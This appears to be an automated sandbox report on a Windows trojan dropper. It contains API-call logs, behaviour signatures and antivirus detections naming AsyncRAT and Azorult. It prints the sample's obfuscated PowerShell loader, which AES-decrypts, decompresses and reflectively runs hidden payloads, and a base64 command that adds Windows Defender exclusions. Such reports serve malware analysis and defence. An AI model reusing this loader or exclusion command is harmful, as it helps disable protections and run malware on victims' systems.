NtAllocateVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe942aa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9435c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94386000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94360000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe942bc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe943d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe942cb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe942ab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe942fc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe942cd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe942a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 22, 2023, 8:34 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe942ba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 22, 2023, 8:35 a.m.	process_identifier: 2724 region_size: 2490368 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002a70000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 22, 2023, 8:35 a.m.	process_identifier: 2724 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002c50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:35 a.m.	process_identifier: 2724 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef01c1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:35 a.m.	process_identifier: 2724 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef043e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:35 a.m.	process_identifier: 2724 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef043e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:35 a.m.	process_identifier: 2724 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef043f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:35 a.m.	process_identifier: 2724 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef043f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:35 a.m.	process_identifier: 2724 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef043f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:35 a.m.	process_identifier: 2724 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef043f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:35 a.m.	process_identifier: 2724 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef043f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 22, 2023, 8:35 a.m.	process_identifier: 2724 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef043f000 process_handle: 0xffffffffffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\man.bat

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (3 events)

cmdline	powershell -w hidden -c #
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAaQBwACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AegBmACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHQAdgBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHQAZwB2ACMAPgA="
cmdline	powershell -EncodedCommand "PAAjAGgAaQBwACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AegBmACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHQAdgBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHQAZwB2ACMAPgA="

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\man.bat

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW May 22, 2023, 8:34 a.m.	show_type: 0 filepath_r: powershell parameters: -EncodedCommand "PAAjAGgAaQBwACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AegBmACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHQAdgBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHQAZwB2ACMAPgA=" filepath: powershell	1	1	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x000f7a00', u'virtual_address': u'0x00002000', u'entropy': 7.999385975145288, u'name': u'.text', u'virtual_size': u'0x000f79f4'}

entropy

7.99938597515

description

A section with a high entropy has been found

entropy

0.99798488665

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (3 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW May 22, 2023, 8:35 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW May 22, 2023, 8:35 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW May 22, 2023, 8:35 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

"C:\Users\test22\AppData\Local\Temp\man.bat.exe" $OBOu='SplNbqLitNbqL'.Replace('NbqL', '');$aqEU='ReNbqLadLNbqLinNbqLeNbqLsNbqL'.Replace('NbqL', '');$wFvO='FiNbqLrstNbqL'.Replace('NbqL', '');$uTAD='CNbqLreNbqLatNbqLeNbqLDecrNbqLypNbqLtoNbqLrNbqL'.Replace('NbqL', '');$SyvP='InNbqLvNbqLokNbqLeNbqL'.Replace('NbqL', '');$wpRJ='EntNbqLryPoNbqLinNbqLtNbqL'.Replace('NbqL', '');$leFV='TrNbqLaNbqLnsNbqLfoNbqLrmNbqLFinaNbqLlBloNbqLckNbqL'.Replace('NbqL', '');$KiSR='MaNbqLiNbqLnMoNbqLdulNbqLeNbqL'.Replace('NbqL', '');$jrfh='ChanNbqLgeENbqLxteNbqLnsiNbqLoNbqLnNbqL'.Replace('NbqL', '');$LVNY='LoaNbqLdNbqL'.Replace('NbqL', '');$ZsxI='FNbqLromNbqLBasNbqLe64SNbqLtrNbqLingNbqL'.Replace('NbqL', '');$nhRS='GetNbqLCuNbqLrNbqLrNbqLenNbqLtProNbqLcNbqLesNbqLsNbqL'.Replace('NbqL', '');function jtNeP($BFDih){$ZgaCl=[System.Security.Cryptography.Aes]::Create();$ZgaCl.Mode=[System.Security.Cryptography.CipherMode]::CBC;$ZgaCl.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$ZgaCl.Key=[System.Convert]::$ZsxI('txkNVDrhm27W1DaL5GLcM6FMILoKtFqLKX3laNnOjxc=');$ZgaCl.IV=[System.Convert]::$ZsxI('hP/b1mKCdVvyfRQZ/p25ZA==');$AdWGs=$ZgaCl.$uTAD();$EqYkj=$AdWGs.$leFV($BFDih,0,$BFDih.Length);$AdWGs.Dispose();$ZgaCl.Dispose();$EqYkj;}function QcgQb($BFDih){$Hnmle=New-Object System.IO.MemoryStream(,$BFDih);$xRoFm=New-Object System.IO.MemoryStream;$pEUyF=New-Object System.IO.Compression.GZipStream($Hnmle,[IO.Compression.CompressionMode]::Decompress);$pEUyF.CopyTo($xRoFm);$pEUyF.Dispose();$Hnmle.Dispose();$xRoFm.Dispose();$xRoFm.ToArray();}$NdNoC=[System.Linq.Enumerable]::$wFvO([System.IO.File]::$aqEU([System.IO.Path]::$jrfh([System.Diagnostics.Process]::$nhRS().$KiSR.FileName, $null)));$UfGsn=$NdNoC.Substring(3).$OBOu(':');$WZNSc=QcgQb (jtNeP ([Convert]::$ZsxI($UfGsn[0])));$hKWvJ=QcgQb (jtNeP ([Convert]::$ZsxI($UfGsn[1])));[System.Reflection.Assembly]::$LVNY([byte[]]$hKWvJ).$wpRJ.$SyvP($null,$null);[System.Reflection.Assembly]::$LVNY([byte[]]$WZNSc).$wpRJ.$SyvP($null,$null);

Creates a suspicious Powershell process (1 event)

option

-w hidden

value

Attempts to execute command with a hidden window

The process powershell.exe wrote an executable file to disk (19 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

File has been identified by 58 AntiVirus engines on VirusTotal as malicious (50 out of 58 events)

Lionic	Trojan.Win32.Dapato.4!c
Elastic	malicious (high confidence)
DrWeb	Trojan.MulDrop20.23637
MicroWorld-eScan	IL:Trojan.MSILZilla.20149
CAT-QuickHeal	Trojan.Generic.TRFH465
McAfee	Artemis!D60031FFC48A
Malwarebytes	Trojan.Crypt.MSIL
VIPRE	IL:Trojan.MSILZilla.20149
Sangfor	Suspicious.Win32.Save.a
K7AntiVirus	Trojan ( 00598b321 )
Alibaba	TrojanDropper:MSIL/Prynt.5047d219
K7GW	Trojan ( 00598b321 )
Cybereason	malicious.fc48a8
Arcabit	IL:Trojan.MSILZilla.D4EB5
BitDefenderTheta	Gen:NN.ZemsilF.36196.!m0@aqDlBNd
Cyren	W32/Azorult.D.gen!Eldorado
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of MSIL/GenKryptik.FZQG
Cynet	Malicious (score: 100)
APEX	Malicious
Kaspersky	HEUR:Trojan-Dropper.MSIL.Dapato.gen
BitDefender	IL:Trojan.MSILZilla.20149
NANO-Antivirus	Trojan.Win32.GenKryptik.jvsusa
Avast	Win32:RATX-gen [Trj]
Tencent	Msil.Trojan-Dropper.Dapato.Twhl
Emsisoft	IL:Trojan.MSILZilla.20149 (B)
F-Secure	Trojan.TR/Dropper.Gen
Zillya	Trojan.GenKryptik.Win32.179098
TrendMicro	TROJ_GEN.R002C0DDA23
McAfee-GW-Edition	BehavesLike.Win32.Generic.dc
Trapmine	malicious.high.ml.score
FireEye	Generic.mg.d60031ffc48a89ab
Sophos	Mal/Generic-S
SentinelOne	Static AI - Malicious PE
Webroot	W32.Trojan.MSILZilla
Avira	TR/Dropper.Gen
Antiy-AVL	Trojan/MSIL.GenKryptik
Gridinsoft	Ransom.Win32.AzorUlt.sa
Microsoft	Trojan:MSIL/AsyncRAT.Z!MTB
ViRobot	Trojan.Win.Z.Genkryptik.1016832
ZoneAlarm	HEUR:Trojan-Dropper.MSIL.Dapato.gen
GData	IL:Trojan.MSILZilla.20149
Google	Detected
AhnLab-V3	Trojan/Win.Generic.C5144844
Acronis	suspicious
ALYac	IL:Trojan.MSILZilla.20149
MAX	malware (ai score=89)
Cylance	unsafe
Panda	Trj/CI.A
TrendMicro-HouseCall	TROJ_GEN.R002C0DDA23

bonder.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All